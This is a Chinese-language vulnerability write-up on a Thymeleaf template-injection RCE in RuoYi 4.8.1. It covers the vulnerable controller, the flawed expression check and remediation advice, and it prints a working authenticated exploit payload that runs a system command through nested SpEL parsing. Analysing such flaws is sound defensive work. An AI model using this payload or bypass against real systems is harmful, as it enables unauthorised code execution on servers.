若依(RuoYi)是一套基于 Spring Boot + Shiro + Thymeleaf 的快速开发平台,广泛应用于企业后台管理系统。在版本4.8.1中,存在一个严重的Thymeleaf模板注入(SSTI)漏洞。
该漏洞位于 CacheController.java 控制器的 /monitor/cache/getNames 接口。攻击者可通过构造特定的 fragment 参数,绕过Thymeleaf 3.0.15版本的安全机制,实现任意代码执行(RCE)。
1. 漏洞描述与复现
漏洞的根源在于 fragment 参数未对用户输入进行充分过滤。尽管系统增加了黑名单拦截危险操作,但攻击者可通过 __|$${...}|__::.x 格式成功绕过。
核心漏洞代码如下:
@RequiresPermissions("monitor:cache:view")
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap) {
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
攻击者可控的 fragment 参数被直接拼接进视图路径。当返回的字符串不包含 redirect: 或 forward: 前缀时,Spring会将其作为Thymeleaf模板文件名进行解析,而此处 fragment 实际是一段可执行的Thymeleaf表达式。
RCE验证Payload(需登录认证)
fragment=__|$${ ''.getClass().forName('org.'%2b'springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}__::.xx
执行上述Payload(在Windows环境下)可触发计算器弹出,证明漏洞存在。

2. 代码审计与绕过原理
若要深入理解漏洞,需分析Payload的构造逻辑及Thymeleaf 3.0.15的防护机制。
首先,访问该接口需要 monitor:cache:view 权限,因此攻击需在认证后进行。关键的输入点是 fragment 参数。
Thymeleaf 3.0.15 版本引入了 containsExpression 方法用于检测危险表达式,其核心逻辑如下:
private static boolean containsExpression(final String text) {
final int textLen = text.length();
char c;
boolean expInit = false;
for (int i = 0; i < textLen; i++) {
c = text.charAt(i);
if (!expInit) {
// 检测表达式起始字符 $, *, #, @, ~
if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') {
expInit = true;
}
} else {
// 如果起始字符后紧接 `{`,则判定为表达式
if (c == '{') {
return true;
} else if (!Character.isWhitespace(c)) {
// 如果不是空格,则重置检测状态
expInit = false;
}
}
}
return false;
}
该方法用于检查字符串中是否包含 ${, *{, #{, @{, ~{ 这类表达式模式(中间允许空格)。其检测逻辑存在缺陷:当检测到一个起始字符(如$)后,它只判断下一个字符是否为 {;如果不是 { 但为空格,则继续检查下一个字符;如果不是 { 也不是空格,则直接重置检测状态,跳过了对当前字符是否也是起始字符的判断。
这导致了形如 $${} 的Payload可以绕过检测。第一个 $ 被标记为 expInit,下一个字符仍是 $,由于不是 { 也不是空格,检测状态被重置,第二个 $ 及其后的 {} 便不再被该方法识别为表达式。
然而,Thymeleaf在后续的表达式解析中,会将 __|$${...}|__ 这种形式解析为表达式执行。这等价于 __$` + `${...}__,即文字替换。这便是绕过检测的基础。
在新版本中,SpringStandardExpressionUtils 将 containsSpELInstantiationOrStatic 方法替换为 containsSpELInstantiationOrStaticOrParam,并加强了对 T()、new、param 等关键字的检查,试图阻止直接的SPEL实例化或静态方法调用。
我们的最终Payload采用了一种反射+嵌套SPEL解析的方式进行绕过:
- 外层:
$${ ''.getClass().forName('org.'%2b'springframework.expression.spel.standard.SpelExpressionParser')... }
- 利用字符串拼接 (
org. + springframework...) 和反射机制,动态加载 SpelExpressionParser 类,避免了直接书写类名。
- 内层:
.parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')")
- 实例化解析器后,在其内部解析一个全新的、完整的恶意SPEL表达式,该表达式通过反射调用
Runtime.getRuntime().exec() 执行系统命令。
这种“通过SPEL解析器去解析并执行另一段SPEL”的方式,巧妙地绕过了Thymeleaf对表达式内容的直接安全校验,属于一种沙箱逃逸思路。
3. 总结与修复建议
本次漏洞是典型的二阶安全漏洞组合:首先,Thymeleaf模板引擎自身的安全绕过机制(CVE-2024-21657)为攻击提供了可能性;其次,若依系统在 CacheController 中直接将用户可控参数拼接入模板路径,未做任何过滤,构成了真实的利用入口。
修复建议:
- 输入校验与过滤:对传入
fragment 等视图片段名的参数进行严格的白名单校验,只允许预期的、安全的字符(如字母、数字、短横线、下划线)。
- 升级依赖:及时升级Thymeleaf至已修复该安全绕过问题的最新版本。
- 安全编码:避免将用户输入直接用于构建视图名称、模板路径或任何与模板解析相关的字符串。
参考链接:
免责声明:本文所有内容均为技术研究与学习目的,旨在提升网络安全防护意识。所有操作均在授权的实验环境中进行。请广大开发者遵守《网络安全法》等相关法律法规,不得将相关技术用于非法入侵、破坏等任何危害网络安全的活动。